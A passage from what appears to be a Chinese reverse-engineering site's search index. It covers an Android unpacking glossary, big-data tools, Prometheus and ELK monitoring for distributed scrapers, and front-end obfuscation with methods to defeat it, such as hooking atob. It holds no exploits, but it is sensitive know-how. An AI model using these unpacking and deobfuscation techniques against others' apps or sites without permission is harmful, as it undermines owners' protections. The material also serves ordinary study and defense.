dlopen 加载动态库、dlsym 查找符号的过程，Hook 这些函数可监控库加载行为。 init_array .init_array Section ELF 文件中在 main 函数执行前自动调用的初始化函数数组，加固方案常在此处执行解密逻辑。 JNI_OnLoad JNI_OnLoad 共享库被 Java 层 System.loadLibrary 加载时自动调用的函数，常用于动态注册 Native 方法和执行初始化。 maps 文件 /proc/self/maps Linux 进程的内存映射文件，显示进程的所有内存区域和加载的共享库，是分析内存布局的重要依据。 Dex 优化 Dexopt / dex2oat Android 系统将 DEX 编译为优化格式（ODEX/OAT）的过程，dex2oat 是 ART 使用的编译工具。 方法分辨率 Method Resolution ART 根据方法签名和类层次关系查找实际要调用的方法实现的过程。 Linker 链接器 Linker (/system/bin/linker64) Android 系统的动态链接器，负责在运行时加载和链接共享库（SO 文件），Hook linker 可监控库加载。 脱壳点 Unpacking Point 在加固应用执行过程中，原始 DEX 已被解密且完整存在于内存中的时机，是执行内存 dump 的最佳时机。 主动调用 Active Invocation 一种脱壳技术，通过主动调用类的所有方法来触发 ART 对方法体的还原，从而获取完整的 DEX 数据。 Smali 注入 Smali Injection 在反编译后的 Smali 代码中插入自定义逻辑（如日志打印），然后重新打包运行以辅助分析。 模糊测试 Fuzzing 向程序输入大量随机或变异的数据以触发崩溃和异常行为的自动化测试技术，用于发现安全漏洞。 符号执行 Symbolic Execution 使用符号值（而非具体值）执行程序以探索所有可能路径的分析技术，可用于自动化求解混淆后的逻辑。 CTF 竞赛 CTF (Capture The Flag) 信息安全领域的竞赛形式，参赛者需要通过逆向工程、漏洞利用等技术找到隐藏的 Flag。 PoC 验证 PoC (Proof of Concept) 漏洞概念验证代码，用于证明安全漏洞的存在和可利用性。 CVE 编号 CVE (Common Vulnerabilities and Exposures) 公开已知安全漏洞的统一标识编号系统，如 CVE-2023-XXXXX。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:9:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#9-其他常用术语-other-common-terms"},{"categories":null,"collections":null,"content":"数据仓库与计算引擎 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:0:0","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#数据仓库与计算引擎"},{"categories":null,"collections":null,"content":"当通过逆向和爬虫采集到海量数据后（例如，数亿条用户行为日志、商品信息），如何存储、管理和分析这些数据，就成了大数据领域的核心问题。本节将介绍主流的数据仓库和分布式计算引擎技术。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:1:0","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#当通过逆向和爬虫采集到海量数据后例如数亿条用户行为日志商品信息如何存储管理和分析这些数据就成了大数据领域的核心问题本节将介绍主流的数据仓库和分布式计算引擎技术"},{"categories":null,"collections":null,"content":"1. 数据仓库 (Data Warehouse) 数据仓库是一个用于存储和分析海量结构化、半结构化数据的系统。它与业务数据库（OLTP）不同，其核心目标是支持复杂的分析查询（OLAP）。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:2:0","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#1-数据仓库-data-warehouse"},{"categories":null,"collections":null,"content":"a) Hive 定位: 基于 Hadoop 的一个数据仓库基础架构。 核心思想: Hive 允许你使用标准的 SQL 语言 来查询存储在 Hadoop 分布式文件系统（HDFS）上的大规模数据集。它将 SQL 查询翻译成 MapReduce、Tez 或 Spark 任务来执行。 元数据 (Metastore): Hive 的核心是其元数据存储。它记录了\"表\"的结构（列名、数据类型）与 HDFS 上的文件（如 CSV, Parquet, ORC 文件）之间的映射关系。本质上，Hive 提供了一种\"给文件系统套上一个结构化外壳\"的能力。 适用场景: 对海量（TB/PB 级）的、非实时的数据进行离线分析和 ETL（提取、转换、加载）。 构建企业级的数据仓库，为数据分析师和 BI 报表提供统一的 SQL 查询入口。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:2:1","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#a-hive"},{"categories":null,"collections":null,"content":"b) HBase 定位: 一个分布式的、可伸缩的、面向列的 NoSQL 数据库。它构建在 HDFS 之上，并模仿 Google Bigtable 的设计。 核心特点: 海量存储: 专为存储数十亿行、数百万列的超大规模稀疏数据集而设计。 实时读写: 与 Hive 主要用于离线批量分析不同，HBase 的核心优势在于支持对海量数据的低延迟随机读写。 面向列: 数据按列族（Column Family）组织。一个列族中的所有列在物理上存储在一起，这使得对特定列的读取非常高效。 无模式 (Schemaless): 你可以随时向一个列族中添加新的列，而无需预先定义表结构。 适用场景: 需要对海量数据进行实时、随机访问的场景，例如用户画像系统、实时推荐引擎的特征库、监控数据的存储。 作为数据采集系统的\"落地层\"，接收实时写入的数据流，然后由 Hive 或 Spark 进行后续的批量分析。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:2:2","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#b-hbase"},{"categories":null,"collections":null,"content":"Hive vs. HBase 特性 Hive HBase 数据库类型 数据仓库 (SQL on Hadoop) NoSQL 数据库 (面向列) 核心用途 批量分析 (OLAP) 实时随机读写 (OLTP) 延迟 高（分钟级） 低（毫秒级） 数据模型 结构化 半结构化/无模式 (稀疏表) 语言 SQL (HiveQL) Java API, Shell, Thrift/REST ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:2:3","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#hive-vs-hbase"},{"categories":null,"collections":null,"content":"2. 分布式计算引擎 计算引擎负责实际执行数据处理任务。现代计算引擎通过在内存中进行计算，极大地提升了处理速度。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:3:0","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#2-分布式计算引擎"},{"categories":null,"collections":null,"content":"a) Spark 定位: 一个快速、通用、可扩展的分布式计算引擎。 核心概念: RDD (弹性分布式数据集): Spark 的基础数据结构。它是一个不可变的、被分区到集群中多个节点上的元素集合，支持丰富的转换（map, filter, join）和行动（count, collect, save）操作。RDD 的\"弹性\"体现在其血缘关系（Lineage），任何分区的丢失都可以根据其转换历史被重新计算出来。 DataFrame \u0026 Spark SQL: 在 RDD 之上，Spark 提供了更高级的 DataFrame API，它将数据组织成带有命名列的二维表，类似于关系型数据库的表。这使得你可以使用 Spark SQL 来进行结构化数据处理，并且 Spark 的 Catalyst 优化器会自动对你的查询进行优化。 生态系统: Spark Streaming: 用于处理实时数据流（Micro-batching）。 MLlib: 提供了一套丰富的机器学习算法库。 GraphX: 用于图计算。 适用场景: 需要高性能的、迭代式的批量数据处理和机器学习任务。 统一批处理和流处理。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:3:1","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#a-spark"},{"categories":null,"collections":null,"content":"b) Flink 定位: 一个以**真正的流处理 (True Streaming)**为核心的分布式计算引擎。 核心特点: 流为核心: Flink 的设计哲学是\"一切皆是流\"，批量计算被看作是流计算的一个特例。它能够以事件驱动的方式，逐条处理数据，实现极低的延迟。 状态管理与窗口: Flink 提供了强大的状态管理能力，允许你在流处理中维护和更新状态（例如，一个用户的累计消费金额）。它还支持灵活的窗口操作（如滚动窗口、滑动窗口、会话窗口），用于对无界数据流进行聚合分析。 高吞吐与低延迟: 专为低延迟、高吞吐的实时计算场景设计。 适用场景: 对实时性要求极高的场景，如实时风控、实时推荐、实时监控大盘。 需要进行复杂事件处理（CEP）的场景。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:3:2","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#b-flink"},{"categories":null,"collections":null,"content":"Spark vs. Flink 特性 Spark Flink 核心模型 批处理 (Batch) 流处理 (Streaming) 流处理方式 微批次 (Micro-batch) 逐条处理 (Per-event) 延迟 秒级 毫秒级 窗口 基于时间的窗口 灵活的窗口（时间、计数、会话） 生态 更成熟，社区更庞大 快速发展，在实时计算领域是事实标准 总结: 如果你的主要任务是离线分析和机器学习，Spark 是一个更通用、更成熟的选择。如果你的核心是需要亚秒级响应的实时计算，Flink 则是更专业的工具。在许多现代数据平台中，二者往往会共存，分别处理不同的任务。 ","date":"2025-08-17","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/:4:0","tags":["大数据","工程实践"],"title":"数据仓库与计算引擎","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/data_warehousing_and_processing/#spark-vs-flink"},{"categories":null,"collections":null,"content":"监控与告警系统 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:0:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#监控与告警系统"},{"categories":null,"collections":null,"content":"概述 监控和告警是保障分布式爬虫系统稳定运行的关键。本章介绍如何构建完整的监控和告警体系。 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:1:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#概述"},{"categories":null,"collections":null,"content":"监控体系架构 ┌──────────────────────────────────────┐ │ Scraper Nodes │ │ - Metrics Exporter (Prometheus) │ │ - Logging (Fluentd/Filebeat) │ └──────────┬───────────────────────────┘ │ ┌──────┴──────┐ │ │ ▼ ▼ ┌─────────┐ ┌──────────┐ │Prometheus│ │ ELK │ │(Metrics) │ │ (Logs) │ └────┬────┘ └────┬─────┘ │ │ └──────┬─────┘ ▼ ┌─────────────┐ │ Grafana │ │ (可视化) │ └─────────────┘ │ ▼ ┌─────────────┐ │ AlertManager│ │ (告警) │ └─────────────┘ ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:2:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#监控体系架构"},{"categories":null,"collections":null,"content":"Prometheus 监控 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:3:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#prometheus-监控"},{"categories":null,"collections":null,"content":"安装部署 # docker-compose.yml version: \"3\" services: prometheus: image: prom/prometheus:latest ports: - \"9090:9090\" volumes: - ./prometheus.yml:/etc/prometheus/prometheus.yml - prometheus_data:/prometheus command: - \"--config.file=/etc/prometheus/prometheus.yml\" - \"--storage.tsdb.path=/prometheus\" grafana: image: grafana/grafana:latest ports: - \"3000:3000\" volumes: - grafana_data:/var/lib/grafana environment: - GF_SECURITY_ADMIN_PASSWORD=admin volumes: prometheus_data: grafana_data: ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:3:1","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#安装部署"},{"categories":null,"collections":null,"content":"Prometheus 配置 # prometheus.yml global: scrape_interval: 15s evaluation_interval: 15s scrape_configs: - job_name: \"scraper\" static_configs: - targets: [\"scraper:8000\"] - job_name: \"redis\" static_configs: - targets: [\"redis-exporter:9121\"] - job_name: \"mongodb\" static_configs: - targets: [\"mongodb-exporter:9216\"] - job_name: \"node\" static_configs: - targets: [\"node-exporter:9100\"] ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:3:2","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#prometheus-配置"},{"categories":null,"collections":null,"content":"Python 应用集成 from prometheus_client import Counter, Histogram, Gauge, start_http_server import time # 定义指标 requests_total = Counter( 'scraper_requests_total', 'Total number of requests', ['status', 'domain'] ) request_duration = Histogram( 'scraper_request_duration_seconds', 'Request duration in seconds', ['domain'] ) active_scrapers = Gauge( 'scraper_active_workers', 'Number of active scrapers' ) queue_size = Gauge( 'scraper_queue_size', 'Size of the URL queue' ) class MonitoredScraper: def __init__(self): # 启动 Prometheus HTTP 服务器 start_http_server(8000) def scrape(self, url): \"\"\"爬取 URL 并记录指标\"\"\" domain = self._extract_domain(url) # 记录活跃爬虫数 active_scrapers.inc() try: # 记录请求时长 with request_duration.labels(domain=domain).time(): response = requests.get(url, timeout=10) # 记录请求总数 requests_total.labels( status=response.status_code, domain=domain ).inc() return response except Exception as e: requests_total.labels(status='error', domain=domain).inc() raise finally: active_scrapers.dec() def update_queue_size(self, size): \"\"\"更新队列大小\"\"\" queue_size.set(size) def _extract_domain(self, url): from urllib.parse import urlparse return urlparse(url).netloc ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:3:3","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#python-应用集成"},{"categories":null,"collections":null,"content":"Grafana 可视化 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:4:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#grafana-可视化"},{"categories":null,"collections":null,"content":"仪表盘配置 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:4:1","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#仪表盘配置"},{"categories":null,"collections":null,"content":"日志收集 (ELK Stack) ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:5:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#日志收集-elk-stack"},{"categories":null,"collections":null,"content":"Docker Compose 配置 version: \"3\" services: elasticsearch: image: elasticsearch:8.11.0 environment: - discovery.type=single-node - xpack.security.enabled=false ports: - \"9200:9200\" volumes: - es_data:/usr/share/elasticsearch/data logstash: image: logstash:8.11.0 ports: - \"5044:5044\" volumes: - ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf kibana: image: kibana:8.11.0 ports: - \"5601:5601\" environment: - ELASTICSEARCH_HOSTS=http://elasticsearch:9200 filebeat: image: elastic.co/beats/filebeat:8.11.0 volumes: - ./filebeat.yml:/usr/share/filebeat/filebeat.yml - /var/log:/var/log:ro - /var/lib/docker/containers:/var/lib/docker/containers:ro volumes: es_data: ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:5:1","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#docker-compose-配置"},{"categories":null,"collections":null,"content":"告警配置 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:6:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#告警配置"},{"categories":null,"collections":null,"content":"AlertManager 配置 # alertmanager.yml global: resolve_timeout: 5m route: group_by: [\"alertname\"] group_wait: 10s group_interval: 10s repeat_interval: 1h receiver: \"email\" receivers: - name: \"email\" email_configs: - to: \"admin@example.com\" from: \"alertmanager@example.com\" smarthost: \"smtp.example.com:587\" auth_username: \"alertmanager@example.com\" auth_password: \"password\" - name: \"slack\" slack_configs: - api_url: \"https://hooks.slack.com/services/xxx\" channel: \"#alerts\" title: \"Scraper Alert\" ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:6:1","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#alertmanager-配置"},{"categories":null,"collections":null,"content":"Prometheus 告警规则 # alerts.yml groups: - name: scraper_alerts interval: 30s rules: # 成功率告警 - alert: LowSuccessRate expr: scraper_success_rate \u003c 0.8 for: 5m labels: severity: warning annotations: summary: \"Success rate is low\" description: \"Success rate is {{ $value }}\" # 队列堆积告警 - alert: QueueBacklog expr: scraper_queue_size \u003e 10000 for: 10m labels: severity: warning annotations: summary: \"Queue is backing up\" description: \"Queue size: {{ $value }}\" # 高错误率告警 - alert: HighErrorRate expr: rate(scraper_errors_total[5m]) \u003e 10 for: 5m labels: severity: critical annotations: summary: \"High error rate detected\" description: \"Error rate: {{ $value }} errors/s\" # Worker 宕机告警 - alert: WorkerDown expr: scraper_active_workers == 0 for: 1m labels: severity: critical annotations: summary: \"No active workers\" ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:6:2","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#prometheus-告警规则"},{"categories":null,"collections":null,"content":"健康检查 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:7:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#健康检查"},{"categories":null,"collections":null,"content":"HTTP 健康检查端点 from flask import Flask, jsonify import redis app = Flask(__name__) r = redis.Redis() @app.route('/health') def health(): \"\"\"健康检查\"\"\" checks = { 'redis': check_redis(), 'queue': check_queue(), 'workers': check_workers() } all_healthy = all(checks.values()) status_code = 200 if all_healthy else 503 return jsonify({ 'status': 'healthy' if all_healthy else 'unhealthy', 'checks': checks }), status_code def check_redis(): \"\"\"检查 Redis 连接\"\"\" try: r.ping() return True except: return False def check_queue(): \"\"\"检查队列状态\"\"\" try: size = r.llen('urls') return size \u003c 50000 # 队列未过载 except: return False def check_workers(): \"\"\"检查 Worker 状态\"\"\" try: active = int(r.get('active_workers') or 0) return active \u003e 0 except: return False if __name__ == '__main__': app.run(host='0.0.0.0', port=8080) ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:7:1","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#http-健康检查端点"},{"categories":null,"collections":null,"content":"相关章节 分布式爬虫架构 Docker 容器化部署 代理池管理 ","date":"2025-08-13","objectID":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/:8:0","tags":["Web","Docker","代理池","工程实践","Hook","分布式"],"title":"监控与告警系统","uri":"/reverse_engineering/web/06-engineering/monitoring_and_alerting/#相关章节"},{"categories":null,"collections":null,"content":"前端加固技术详解 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:0:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#前端加固技术详解"},{"categories":null,"collections":null,"content":"概述 前端加固是保护 Web 应用代码和逻辑不被轻易分析的技术集合。随着前端应用复杂度增加，越来越多的业务逻辑移至前端，代码保护变得尤为重要。本章介绍主流的前端加固手段、实现原理及逆向分析方法。 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:1:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 JavaScript 基础 必需 JavaScript 基础 JavaScript 反混淆 必需 JavaScript 反混淆 AST 工具 推荐 AST 工具 调试技巧 推荐 调试技巧与断点设置 💡 提示: 本配方从防御者视角介绍前端加固技术，同时讲解逆向分析方法。了解加固原理，才能更有效地突破保护。 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:2:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#-前置知识"},{"categories":null,"collections":null,"content":"代码混淆 (Code Obfuscation) ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#代码混淆-code-obfuscation"},{"categories":null,"collections":null,"content":"1. 变量名混淆 (Identifier Mangling) 原理: 将有意义的变量名、函数名替换为无意义的短字符。 示例: // 原始代码 function calculateUserAge(birthYear) { const currentYear = new Date().getFullYear(); return currentYear - birthYear; } // 混淆后 function _0x3a2b(_0x1c4d, _0x5e6f) { const _0x7a8b = new Date().getFullYear(); return _0x7a8b - _0x1c4d; } 工具: JavaScript Obfuscator Terser (压缩器，部分混淆) Closure Compiler 破解方法: 重命名为有意义的名称 使用 IDE 的重构功能 通过上下文推断变量用途 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:1","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#1-变量名混淆-identifier-mangling"},{"categories":null,"collections":null,"content":"2. 字符串加密 (String Encryption) 原理: 将字符串加密存储，运行时解密使用。 示例: // 原始代码 const apiUrl = \"https://api.example.com/users\"; fetch(apiUrl); // 混淆后 const _0x4a2c = [\"aHR0cHM6Ly9hcGkuZXhhbXBsZS5jb20vdXNlcnM=\"]; const _0x1b3d = function (_0x2c4e) { return atob(_0x2c4e); }; fetch(_0x1b3d(_0x4a2c[0])); 常见编码方式: Base64 自定义编码表 XOR 加密 RC4 流密码 破解方法: // Hook 解密函数 const original_atob = window.atob; window.atob = function (str) { const result = original_atob(str); console.log(\"Decoded:\", str, \"-\u003e\", result); return result; }; // 或者直接调用解密函数 _0x1b3d(_0x4a2c[0]); // 查看结果 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:2","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#2-字符串加密-string-encryption"},{"categories":null,"collections":null,"content":"3. 控制流平坦化 (Control Flow Flattening) 原理: 打乱代码执行顺序，使用 switch-case 或状态机结构。 示例: // 原始代码 function process(data) { let result = validate(data); result = transform(result); result = encrypt(result); return result; } // 平坦化后 function process(data) { let _0x1 = 0; let result; while (true) { switch (_0x1) { case 0: result = validate(data); _0x1 = 2; break; case 2: result = transform(result); _0x1 = 1; break; case 1: result = encrypt(result); _0x1 = 3; break; case 3: return result; } } } 破解方法: 符号执行恢复控制流 动态调试追踪执行路径 使用 AST 分析工具重构 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:3","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#3-控制流平坦化-control-flow-flattening"},{"categories":null,"collections":null,"content":"4. 僵尸代码注入 (Dead Code Injection) 原理: 插入永远不会执行的代码，增加分析难度。 示例: function login(username, password) { // 真实逻辑 if (username \u0026\u0026 password) { return authenticate(username, password); } // 僵尸代码（永远不会执行） if (false) { console.log(\"This code never runs\"); fetch(\"/fake-endpoint\"); const fake = CryptoJS.MD5(username).toString(); } // 更多僵尸代码 return void 0; } 破解方法: 代码覆盖率分析 动态执行追踪 删除不可达代码 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:4","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#4-僵尸代码注入-dead-code-injection"},{"categories":null,"collections":null,"content":"5. 常量折叠反混淆 (Constant Unfolding) 原理: 将简单常量拆分为复杂表达式。 示例: // 原始 const timeout = 5000; // 混淆后 const timeout = 0x3e8 * 0x5 + (0x1f4 - 0x64) + (0xc8 | 0x32); // = (1000 * 5) + (500 - 100) + (200 | 50) 破解方法: // 使用 JavaScript 引擎自动计算 console.log(0x3e8 * 0x5 + (0x1f4 - 0x64) + (0xc8 | 0x32)); ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:5","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#5-常量折叠反混淆-constant-unfolding"},{"categories":null,"collections":null,"content":"6. 对象键隐藏 原理: 使用计算属性名隐藏对象键。 示例: // 原始 const config = { apiKey: \"secret123\", endpoint: \"/api/data\", }; // 混淆后 const _0x1a = [\"apiKey\", \"endpoint\"]; const config = { [_0x1a[0]]: \"secret123\", [_0x1a[1]]: \"/api/data\", }; ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:3:6","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#6-对象键隐藏"},{"categories":null,"collections":null,"content":"JavaScript 虚拟机保护 (VM Protection) ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:4:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#javascript-虚拟机保护-vm-protection"},{"categories":null,"collections":null,"content":"原理 将 JavaScript 代码编译为自定义字节码，运行时由虚拟机解释执行。 流程: 原始代码 → 编译器 → 字节码 → 虚拟机 → 执行 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:4:1","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#原理"},{"categories":null,"collections":null,"content":"实现架构 1. 字节码设计: // 示例字节码指令集 const OPCODES = { PUSH: 0x01, // 压栈 POP: 0x02, // 出栈 ADD: 0x03, // 加法 SUB: 0x04, // 减法 CALL: 0x05, // 函数调用 RET: 0x06, // 返回 JMP: 0x07, // 跳转 LOAD: 0x08, // 加载变量 STORE: 0x09, // 存储变量 }; 2. 虚拟机实现: class VM { constructor(bytecode) { this.bytecode = bytecode; this.stack = []; this.pc = 0; // Program Counter this.vars = {}; } execute() { while (this.pc \u003c this.bytecode.length) { const opcode = this.bytecode[this.pc++]; switch (opcode) { case OPCODES.PUSH: const value = this.bytecode[this.pc++]; this.stack.push(value); break; case OPCODES.ADD: const b = this.stack.pop(); const a = this.stack.pop(); this.stack.push(a + b); break; case OPCODES.CALL: const funcId = this.bytecode[this.pc++]; this.callFunction(funcId); break; // 其他指令... } } } } 3. 编译器: function compile(ast) { const bytecode = []; function visit(node) { switch (node.type) { case \"BinaryExpression\": visit(node.left); visit(node.right); bytecode.push(getOpcode(node.operator)); break; case \"Literal\": bytecode.push(OPCODES.PUSH); bytecode.push(node.value); break; // 其他节点类型... } } visit(ast); return bytecode; } ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:4:2","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#实现架构"},{"categories":null,"collections":null,"content":"商业化虚拟机保护 JScrambler: 多层虚拟机嵌套 自修改代码 反调试检测 JShaman: 原生代码混合（Node.js 插件） 代码加密 运行时解密 详见 JavaScript 虚拟机保护 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:4:3","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#商业化虚拟机保护"},{"categories":null,"collections":null,"content":"WebAssembly 编译 原理: 将核心逻辑编译为 WebAssembly 二进制格式。 优势: 接近原生性能 二进制格式，难以逆向 跨平台支持 示例: // C 代码 int encrypt(int data, int key) { return (data ^ key) + 0x5A5A; } 编译为 